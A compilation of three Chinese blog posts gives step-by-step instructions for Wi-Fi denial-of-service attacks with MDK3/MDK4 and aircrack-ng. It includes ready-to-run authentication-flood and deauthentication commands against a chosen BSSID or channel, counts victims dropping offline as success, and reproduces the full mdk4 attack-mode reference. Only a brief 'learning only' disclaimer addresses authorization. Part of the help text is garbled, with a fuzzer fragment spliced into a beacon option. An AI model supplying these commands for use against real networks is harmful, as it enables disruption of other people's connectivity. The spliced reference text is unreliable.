欢迎各位兄弟 发布技术文章

这里的技术是共享的

You are here

MDK4

https://github.com/aircrack-ng/mdk4  

MDK

此工具通常用于做AP的洪水攻击

mdk4 |Kali Linux Tools

此软件包包含一个概念验证工具,用于利用常见的 IEEE 802.11 协议弱点。

MDK4 是 MDK3 的新版本。MDK4是来自360PegasusTeam的E7mer,k2wrlz的ASPj的Wi-Fi测试工具,它使用aircrack-ng项目中的osdep库在多个操作系统上注入帧。

apache
sudo apt install mdk3# 安装版本3
sudo apt install mdk4 # 安装版本4
  • 暴力破解 MAC 筛选器。

  • 暴力隐藏的SSID(包括一些小型SSID单词列表)。

  • 探测网络以检查他们是否能听到您的声音。

  • 智能身份验证 - 用于冻结 AP 的 DoS(具有成功检查)。

  • FakeAP - 信标泛洪与通道跳跃(可能会崩溃NetStumbler和一些有缺陷的驱动程序)

  • 使用取消身份验证和取消关联数据包断开所有(也称为 AMOK-MODE)的连接。

  • WPA TKIP 拒绝服务。

  • WDS 混淆 - 关闭大规模多 AP 安装。



[ 认证洪水攻击 ]

认证洪水攻击全称为Authentication FloodAttack,即身份验证洪水攻击,通常简称为Auth攻击,也是无线网络拒绝服务攻击的一种形式。该攻击目标主要针对那些通过验证和AP建立关联的关联客户端。攻击者向AP发送大量伪造的身份验证请求帧,当AP收到大量伪造的身份验证请求而超过所能承受的能力时,它将断开其他无线服务连接。

通常情况下,一个AP最多允许16个客户端连接到其无线网络中。

验证洪水攻击的具体工作流程如下:

  1. 确定当前无线网络中,客户端与AP已经建立了连接。一般情况下,所有无线客户端的连接请求都会被AP记录在连接表中。

  2. 攻击者使用一些看起来合法但其实是随机生成的MAC地址来伪造工作站。然后,攻击者就可以发送大量的虚假连接请求到AP。

  3. 攻击者对AP进行持续且大量的虚假连接请求,最终导致AP失去响应,使得AP的连接列表出现错误。

  4. 由于AP的连接表出现错误,使得连接的合法客户端强制与AP断开连接。

攻击步骤

livecodeserver
sudo airmon-ng wlan0 start # 开启监控模式
sudo airodump-ng wlan0 # 扫描网络
sudo mdk3 wlan0mon a -a ESSID -m -c # 使用MDK3将对目标无线网络实施认证洪水攻击。
  • a:实施身份验证洪水攻击。

  • -s 

    :设置包的速率,默认是无限制的。
  • d:实施取消身份验证洪水攻击。

  • -a <ap_mac>:指定目标AP的MAC地址。

  • -m:使用有效数据库中的客户端MAC地址。

  • -c:对应-a,不检测是否测试成功。

  • -i <ap_mac>:对指定BSSID进行攻击(-a和-c选项将被忽略)。

执行以上命令后虽然没有任何信息输出,但是实际上已经对目标AP发起了身份验证洪水攻击。此时,用户可以使用Wireshark工具监听数据包,将会捕获到大量的认证(Authentication)数据包

[ 取消认证洪水攻击 ]

取消认证洪水攻击取消认证洪水攻击的英文全称为De-authentication Flood Attack,即取消身份验证洪水攻击或验证阻断洪水攻击,通常简称为Deauth攻击,是无线网络拒绝服务攻击的一种形式。该攻击方式主要是通过伪造AP向客户端单播地址发送取消身份验证帧,将客户端转为未关联/未认证的状态。

取消验证洪水攻击的工作流程如下:

  1. 确定当前无线网络中客户端与AP已经建立了连接。

  2. 攻击者向整个网络发送伪造的取消身份验证报文,从而阻断了合法用户和AP之间的连接。

  3. 当客户端收到攻击者发送的报文时,会认为该报文来自于AP。此时,客户端将试图与AP重新建立连接。

  4. 攻击者仍然继续向信道中发送取消身份验证帧,将导致客户端与AP始终无法重连,即已连接的客户端自行断开连接。

攻击步骤

apache
sudo airmon-ng wlan0 start # 开启监控模式
sudo mdk3 wlan0mon d -s 120 -m -c 1,3,6 # 使用MDK3将对目标无线网络实施去下认证洪水攻击。
  • d:实施取消身份验证洪水攻击。

  • -s 

    :设置包的速率,默认是无限制的。
  • -c 

    :指定攻击的无线信道。MDK3默认将在所有信道(14 b/g)之间跳转,每5秒切换一次。

执行以上命令后,将不会输出任何信息。为了确定该攻击方式是否执行成功,用户可以使用Wireshark工具捕获数据包。此时,将会发现有大量的解除认证无线数据包,说明实施攻击成功


__EOF__

  • 本文作者: luozaijin

  • 本文链接: https://www.cnblogs.com/xs-xs/p/16329054.html

  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。

  • 版权声明: 除特殊说明外,转载请注明出处~[知识共享署名-相同方式共享 4.0 国际许可协议]

  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。

文章编写or整理的内容由作者完成,引用or参考会给出原文链接。



来自 https://www.cnblogs.com/xs-xs/p/16329054.html 




WIFI泛洪攻击-基于MDK4

本文详细介绍了如何操作Wi-Fi网络,包括检查网卡、启动网卡、切换到监控模式、搜索目标网络、进行攻击以及通过网络状况判断攻击是否成功。主要涉及的命令工具有lsusb、ifconfig、airmon-ng和mdk4。

摘要由CSDN通过智能技术生成

1、接入网卡


lsusb



2、启动网卡


ifconfig 网卡 up



3、转换监控模式


airmon-ng start 网卡



4、查看名字+搜索目标


ifconfig:查看网卡名字

airodump-ng 网卡:搜索目标

ifconfig查看




5、攻击


mdk4 网卡 a -a 目标MAC地址 //mdk4安装:apt install mdk4

 


6、查看网络情况


掉线->攻击成功


不掉线-> 未成功

————————————————


                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

                        

来自  https://blog.csdn.net/qq_43797634/article/details/124271818 



Mdk4 无线攻击

 · 阅读需 10 分钟

本篇内容仅用于学习和测试,本人遵纪守法。

Mdk3 已经不在维护,且它无法攻击5Ghz 频段的WiFi,而Mdk4 加入了5Ghz 频段的支持,当然用新不用旧。在实践中,WPA3 协议的WIFI 对Deauth 和泛洪攻击似乎免疫,多次尝试均是如此。而WPA2 以及更低级的协议的WIFI 能够轻易被攻击,产生显着效果。

安装

安装 aircrack-ng 和 mdk4 ,Manjaro 可通过以下命令安装

yay -S aircrack-ng mdk4

使用 使用 

启用监听模式

sudo airmon-ng start wlp8s0

得到 wlp8s0mon 作为监听接口,执行攻击命令时均使用监听接口。

扫描无线网络

对 2.4Ghz 频段的 WiFi 扫描

sudo airodump-ng wlp8s0mon

对 5Ghz 频段的 WiFi 扫描,其中参数 a 表示 5Ghz 的 802.11a 标准,也可以是 b 和 g ,分别代表 802.11b 和 802.11g,他俩的频段为 2.4 Ghz

sudo airodump-ng --band a wlp8s0mon 

常用情景

Deauthentication 攻击,断掉信道为 11 无线网络的全部客户端连接。

sudo mdk4 wlp8s0mon d -c 11

身份验证攻击,攻击 BSSID 为 AE:15:5d:ad:40:9b 的接入点,使其崩溃重启

sudo mdk4 wlp8s0mon a -a AE:15:5d:ad:40:9b

攻击模式

一般也就用 a 和 d,用信标攻击太离谱太明显

ATTACK MODE b: Beacon Flooding
 Sends beacon frames to show fake APs at clients.
 This can sometimes crash network scanners and even drivers!
ATTACK MODE a: Authentication Denial-Of-Service
 Sends authentication frames to all APs found in range.
 Too many clients can freeze or reset several APs.
ATTACK MODE p: SSID Probing and Bruteforcing
 Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range.
 Bruteforcing of hidden SSIDs with or without a wordlist is also available.
ATTACK MODE d: Deauthentication and Disassociation
 Sends deauthentication and disassociation packets to stations based on data traffic to disconnect all clients from an AP.
ATTACK MODE m: Michael Countermeasures Exploitation
 Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs.
 AP will then shutdown for a whole minute, making this an effective DoS.
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
 Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
 Various attacks on link management and routing in mesh networks
 Flood neighbors and routes, create black holes and divert traffic!
ATTACK MODE w: WIDS Confusion
 Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
ATTACK MODE f: Packet Fuzzer
 A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
ATTACK MODE x: Poc Testing
 Proof-of-concept of WiFi protocol implementation vulnerability, to test whether the device has wifi vulnerabilities.
 It may cause the wifi connection to be disconnected or the target device to crash.

攻击参数

mdk4 <interface> <attack_mode> [attack_options]
mdk4 <interface in> <interface out> <attack_mode> [attack_options]
	ATTACK MODE b: Beacon Flooding
 Sends beacon frames to generate fake APs at clients.
 This can sometimes crash network scanners and drivers!
     -n <ssid>
Use SSID <ssid> instead of randomly generated ones
     -a
Use also non-printable caracters in generated SSIDs
and create SSIDs that break the 32-byte limit
     -f <filename>
Read SSIDs from file
     -v <filename>
Read MACs and SSIDs from file. See example file!
     -t <adhoc>
-t 1 = Create only Ad-Hoc network
-t 0 = Create only Managed (AP) networks
without this option, both types are generated
     -w <encryptions>
Select which type of encryption the fake networks shall have
Valid options: n = No Encryption, w = WEP, t = TKIP (WPA), a = AES (WPA2)
You can select multiple types, i.e. "-w wta" will only create WEP and WPA networks
     -b <bitrate>
Select if 11 Mbit (b) or 54 MBit (g) networks are created
Without this option, both types will be used.
     -m
Use valid accesspoint MAC from built-in OUI database
     -h
Hop to channel where network is spoofed
This is more effective with some devices/drivers
But it reduces packet rate due to channel hopping.
     -c <chan>
Create fake networks on channel <c ATTACK MODE f: Packet Fuzzer
 A simple packet fuzzer with multiple packet sources
 and a nice set of modifiers. Be careful!han>. If you want your card to
hop on this channel, you have to set -h option, too.
     -i <HEX>
Add user-defined IE(s) in hexadecimal at the end of the tagged parameters
     -s <pps>
Set speed in packets per second (Default: 50)

ATTACK MODE a: Authentication Denial-Of-Service
 Sends authentication frames to all APs found in range.
 Too many clients can freeze or reset several APs.
     -a <ap_mac>
Only test the specified AP
     -m
Use valid client MAC from built-in OUI database
     -i <ap_mac>
Perform intelligent test on AP
This test connects clients to the AP and reinjects sniffed data to keep them alive.
     -s <pps>
Set speed in packets per second (Default: unlimited)

ATTACK MODE p: SSID Probing and Bruteforcing
 Probes APs and checks for answer, useful for checking if SSID has
 been correctly decloaked and if AP is in your sending range.
 Bruteforcing of hidden SSIDs with or without a wordlist is also available.
     -e <ssid>
SSID to probe for
     -f <filename>
Read SSIDs from file for bruteforcing hidden SSIDs
     -t <bssid>
Set MAC address of target AP
     -s <pps>
Set speed (Default: 400)
     -b <character sets>
Use full Bruteforce mode (recommended for short SSIDs only!)
You can select multiple character sets at once:
* n (Numbers:   0-9)
* u (Uppercase: A-Z)
* l (Lowercase: a-z)
* s (Symbols: ASCII)
     -p <word>
Continue bruteforcing, starting at <word>.
     -r <channel>
Probe request tests (mod-musket)

ATTACK MODE d: Deauthentication and Disassociation
 Sends deauthentication and disassociation packets to stations
 based on data traffic to disconnect all clients from an AP.
     -w <filename>
Read file containing MACs not to care about (Whitelist mode)
     -b <filename>
Read file containing MACs to run test on (Blacklist Mode)
     -s <pps>
Set speed in packets per second (Default: unlimited)
     -x
Enable full IDS stealth by matching all Sequence Numbers
Packets will only be sent with clients' addresses
     -c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
     -E <AP ESSID>
Specify an AP ESSID to attack.
     -B <AP BSSID>
Specify an AP BSSID to attack.
     -S <Station MAC address>
Specify a station MAC address to attack.
 -W <Whitelist Station MAC address>
Specify a whitelist station MAC.

ATTACK MODE m: Michael Countermeasures Exploitation
 Sends random packets or re-injects duplicates on another QoS queue
 to provoke Michael Countermeasures on TKIP APs.
 AP will then shutdown for a whole minute, making this an effective DoS.
     -t <bssid>
Set target AP, that runs TKIP encryption
     -j
Use the new QoS exploit which only needs to reinject a few packets instead
of the random packet injection, which is unreliable but works without QoS.
     -s <pps>
Set speed in packets per second (Default: 400)
     -w <seconds>
Wait <seconds> between each random packet burst (Default: 10)
     -n <count>
Send <count> random packets per burst (Default: 70)

ATTACK MODE e: EAPOL Start and Logoff Packet Injection
 Floods an AP with EAPOL Start frames to keep it busy with fake sessions
 and thus disables it to handle any legitimate clients.
 Or logs off clients by injecting fake EAPOL Logoff messages.
     -t <bssid>
Set target WPA AP
     -s <pps>
Set speed in packets per second (Default: 400)
     -l
Use Logoff messages to kick clients

ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
 Various attacks on link management and routing in mesh networks.
 Flood neighbors and routes, create black holes and divert traffic!
     -f <type>
Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them:
The following modification types are implemented:
1: Replay identical frame until new one arrives (duplicate flooding)
2: Change Source and BSSID (possibly resulting in Neighbor Flooding)
3: Cut packet short, leave 802.11 header intact (find buffer errors)
4: Shotgun mode, randomly overwriting bytes after header (find bugs)
5: Skript-kid's automated attack trying all of the above randomly :)
     -b <impersonated_meshpoint>
Create a Blackhole, using the impersonated_meshpoint's MAC address
mdk4 will answer every incoming Route Request with a perfect route over the impersonated node.
     -p <impersonated_meshpoint>
Path Request Flooding using the impersonated_meshpoint's address
Adjust the speed switch (-s) for maximum profit!
     -l
Just create loops on every route found by modifying Path Replies
     -s <pps>
Set speed in packets per second (Default: 100)
     -n <meshID>
Target this mesh network

ATTACK MODE w: WIDS Confusion
 Confuse/Abuse Intrusion Detection and Prevention Systems by
 cross-connecting clients to multiple WDS nodes or fake rogue APs.
 Confuses a WDS with multi-authenticated clients which messes up routing tables
     -e <SSID>
SSID of target WDS network
     -c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
     -z
activate Zero_Chaos' WIDS exploit
(authenticates clients from a WDS to foreign APs to make WIDS go nuts)
     -s <pps>
Set speed in packets per second (Default: 100)

ATTACK MODE f: Packet Fuzzer
 A simple packet fuzzer with multiple packet sources
 and a nice set of modifiers. Be careful!
 mdk4 randomly selects the given sources and one or multiple modifiers.
     -s <sources>
Specify one or more of the following packet sources:
a - Sniff packets from the air
b - Create valid beacon frames with random SSIDs and properties
c - Create CTS frames to broadcast (you can also use this for a CTS DoS)
p - Create broadcast probe requests
     -m <modifiers>
Select at least one of the modifiers here:
n - No modifier, do not modify packets
b - Set destination address to broadcast
m - Set source address to broadcast
s - Shotgun: randomly overwrites a couple of bytes
t - append random bytes (creates broken tagged parameters in beacons/probes)
c - Cut packets short, preferably somewhere in headers or tags
d - Insert random values in Duration and Flags fields
     -c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
     -p <pps>
Set speed in packets per second (Default: 250)

ATTACK MODE x: Poc Testing
 Proof-of-concept of WiFi protocol implementation vulnerability,
 to test whether the device has wifi vulnerabilities.
 It may cause the wifi connection to be disconnected or the target device to crash.
   -s <pps>
  Set speed in packets per second (Default: unlimited)
 -c [chan,chan,...,chan[:speed]]
  Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
 -v <vendor>
   file name in pocs dir, default test all.
 -A <AP MAC>
   set an AP MAC
 -S <Station MAC>
   set a station MAC.


来自  https://cxorz.com/blog/mdk4-attack 

普通分类: